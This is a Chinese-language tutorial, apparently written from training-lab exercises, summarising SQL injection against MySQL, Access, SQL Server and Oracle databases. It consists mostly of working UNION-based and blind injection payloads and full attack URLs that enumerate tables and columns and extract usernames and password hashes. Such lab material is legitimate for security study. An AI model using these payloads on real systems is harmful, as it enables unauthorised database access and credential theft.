常见数据库注入总结

mysql数据库无过滤

order by 确定列数
常见数据库注入总结_第1张图片确认4列
测试回显点:

-1 union select 1,2,3,4

常见数据库注入总结_第2张图片确认回显点2,3
暴库表名:

-1 union select 1,database(),group_concat(table_name),4 from information_schema.tables where table_schema=database()

列名:id,name,password,status

-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'

字段内容

union select 1,2,group_concat(id,name,password,status),4 from mozhe_Discuz_StormGroup.StormGroup_member

结束md5值解一下就行了

access数据库注入
一般access数据库分两种注入(access数据库的注入基本是靠猜库名表名列名什么来注入的,所以我们先尝试一些常用的表名或者字段名)
常见数据库注入总结_第3张图片还是4列,因为Access用联合语句显示可显字段时,必须要“from 表名”,所以需要先猜表名,无非就是admin,user,users,manger这些的。

Union select 1,2,3,4, from admin

查user,password,username,id,status等

发现存在username,passwd字段。

access数据库主要是靠猜

sqlserver注入

(1)order by
判断字段数量
结果:4

(2)sqlmap 爆数据库,表名,字段
结果:mozhe_db_v2 manage id,usrename,password

(3)获取用户名和密码,有两种方法
方法一:ASCII码比较
语句:and exists(select * from manage where ascii ( substring(字段名,起始位置,1) ) > N )

( PS : exists()函数是 通过判断里面的查询语句是否返回结果集 而得出bool值,我们将ASCII码判断语句放在where语句后面,作为 查询语句能否返回结果集 的条件)

方法二:union all
用union出错,改用union all 和mysql语法类似
语句:?id=-2 union all select null,username,password,null from manage
结果:页面直接爆出用户名和密码

Oracle注入
很多企业大多数用的是Oracle数据库,所以这里重点讲一下利用方式。

  1.   确定注入点
    

http://219.153.49.228:47018/new_list.php?id=1 and 1=1

http://219.153.49.228:47018/new_list.php?id=1 and 1=2

http://219.153.49.228:47018/new_list.php?id=1存在注入

  1.   确定数据库类型
    

利用各个数据库独有的数据库或者函数来判断

oracle:独有的虚拟表 dual (select count(*) from dual)<>0

http://219.153.49.228:47018/new_list.php?id=1 and (select count(*) from dual)%3c%3e0

  1.   确定注入参数类型
    

http://219.153.49.228:47018/new_list.php?id=1'

http://219.153.49.228:47018/new_list.php?id=1 and 1=1

http://219.153.49.228:47018/new_list.php?id=1 and 1=2

在url末尾加上’号 不正常显示

and 1=1 正常

and 1=2 不正常

因此是一个数字型注入

  1.   确定字段数
    

输入3页面不正常显示 输入2页面正常显示 因此字段数为2

http://219.153.49.228:47018/new_list.php?id=1 order by 2

  1.   确定注入证明类型
    

http://219.153.49.228:47018/new_list.php?id=1 union select '1','2' from dual

我这里直接进行尝试看联合注入是否可行,发现可行,如果不可行的话再换其他类型测试,例如布尔注入、延时注入、报错注入等

  1.   判断回显位置
    

上一条已经判断出回显位置

  1.   获取数据库名
    

    http://219.153.49.228:47018/new_list.php?id=1 union select (select instance_name from v$instance),'2' from dual

  2.   获取表名
    

    http://219.153.49.228:47018/new_list.php?id=1 union select (select table_name from all_tables where rownum=1 and table_name like '%user%'),'2' from dual

  3.   获取列名
    

    http://219.153.49.228:47018/new_list.php?id=1 union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual

    http://219.153.49.228:47018/new_list.php?id=1 union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name<>'user_name'),'2' from dual

  4. 获取关键字段具体内容

http://219.153.49.228:47018/new_list.php?id=1%20union%20select%20user_name,user_pwd%20from%20%22sns_users%22%20where%20user_name%3c%3e%27hu%27

总体来说手注加工具会让你有效率的去解决注入问题,而不是一直手注去死墙角,也不能一直工具,事物都有两面性。

你可能感兴趣的:(web漏洞)